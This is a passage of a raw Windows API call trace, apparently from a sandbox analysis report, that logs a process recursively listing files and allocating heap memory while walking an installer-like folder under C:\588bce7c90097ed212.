ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.329] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.329] GetProcessHeap () returned 0xc00000 [0088.329] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.329] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="3076", cAlternateFileName="")) returned 1 [0088.329] GetProcessHeap () returned 0xc00000 [0088.329] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.330] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.330] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.330] GetProcessHeap () returned 0xc00000 [0088.330] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.330] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="3082", cAlternateFileName="")) returned 1 [0088.330] GetProcessHeap () returned 0xc00000 [0088.331] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.331] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.331] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.332] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.332] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.332] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.332] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.332] GetProcessHeap () returned 0xc00000 [0088.332] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.332] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Client", cAlternateFileName="")) returned 1 [0088.332] GetProcessHeap () returned 0xc00000 [0088.332] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.693] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0xe0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0xe0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0088.693] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.693] GetProcessHeap () returned 0xc00000 [0088.693] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0088.693] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Extended", cAlternateFileName="")) returned 1 [0088.693] GetProcessHeap () returned 0xc00000 [0088.693] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.694] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.694] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.694] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0xe0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.694] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0xe0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0088.694] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.694] GetProcessHeap () returned 0xc00000 [0088.694] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.694] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Graphics", cAlternateFileName="")) returned 1 [0088.694] GetProcessHeap () returned 0xc00000 [0088.694] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0088.724] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, 